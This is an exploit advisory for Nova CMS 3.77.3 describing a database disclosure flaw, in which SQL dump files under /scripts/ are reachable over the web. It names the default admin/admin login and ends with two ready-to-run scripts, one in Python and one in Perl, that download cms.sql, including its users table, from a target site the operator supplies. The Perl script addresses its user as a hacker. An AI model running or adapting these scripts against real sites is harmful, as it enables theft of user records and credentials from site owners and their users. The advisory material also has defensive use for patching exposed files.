###########################################################################
# Exploit Title : Nova CMS Software 3.77.3 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 06/04/2019
# Vendor Homepage : novaframework.com
# Software Download Link : github.com/nova-framework/cms/archive/master.zip
# Software Information Link : novaframework.com/screencasts/building-a-cms/getting-started
github.com/nova-framework/cms
# Software Affected Versions : 3.75.16 - 3.77.3 and other 3.xx.x
raw.githubusercontent.com/nova-framework/cms/master/VERSION.txt
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/
###########################################################################
# Information about Software :
****************************
Nova CMS is built on top of Nova Framework, as an example of building a complex application.
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
* It looks like this file contains a database backup/dump.
Acunetix inferred this filename from the domain name. A database backup contains a record of the
table structure and/or the data from a database and is usually in the form of a list of SQL statements.
A database backup is most often used for backing up a database so that its contents can be restored
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible
to the web server. As a workaround, you could restrict access to this file.
Information :
************
Requirements
The framework requirements are limited.
PHP 5.6 or greater.
Apache Web Server or equivalent with mod rewrite support.
IIS with URL Rewrite module installed - http://www.iis.net/downloads/microsoft/url-rewrite
The following PHP extensions should be enabled:
Fileinfo (edit php.ini and uncomment php_fileinfo.dll or use
php selector within cpanel if available.)
OpenSSL
INTL
Installation
This framework was designed and is strongly recommended to be installed above
the document root directory, with it pointing to the public folder.
Additionally, installing in a sub-directory, on a production server, will introduce severe
security issues. If there is no choice still place the framework files above the document
root and have only index.php and .htacess from the public folder in the sub
folder and adjust the paths accordingly.
Upload the files above the document root and point your web root to the public folder.
Edit app/Config/Database.php and set your database credentials.
Edit app/Config/App.php and update your settings as desired.
Import scripts/cms.sql into your database.
At this point the CMS should be up and running to login to the admin
go to /admin with the sample user account:
username: admin password: admin
###########################################################################
File :
******
/scripts/nova_options.sql
Information :
*************
-- phpMyAdmin SQL Dump
-- version 4.5.5
-- phpmyadmin.net
--
-- Host: localhost
-- Server version: 10.0.25-MariaDB
-- PHP Version: 5.6.22
-- Database: `nova`
-- Table structure for table `nova_options`
-- Indexes for dumped tables
-- Indexes for table `nova_options`
-- AUTO_INCREMENT for dumped tables
-- AUTO_INCREMENT for table `nova_options`
raw.githubusercontent.com/nova-framework/cms/master/scripts/nova_options.sql
###########################################################################
File :
*******
/scripts/cms.sql
Information :
*************
# Dump of table nova_global_blocks
# Dump of table nova_menus
# Dump of table nova_options
# Dump of table nova_page_blocks
# Dump of table nova_page_revisions
# Dump of table nova_pages
# Dump of table nova_password_reminders
# Dump of table nova_roles
# Dump of table nova_sidebars
# Dump of table nova_users
INSERT INTO `nova_users` (`id`, `role_id`, `username`, `password`,
`realname`, `email`, `image`, `active`, `activation_code`,
`remember_token`, `created_at`, `updated_at`) VALUES
raw.githubusercontent.com/nova-framework/cms/master/scripts/cms.sql
###########################################################################
# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/scripts/cms.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('Nova CMS Software 3.77.3 Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="scripts/cms.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/scripts/cms.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/scripts/cms.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################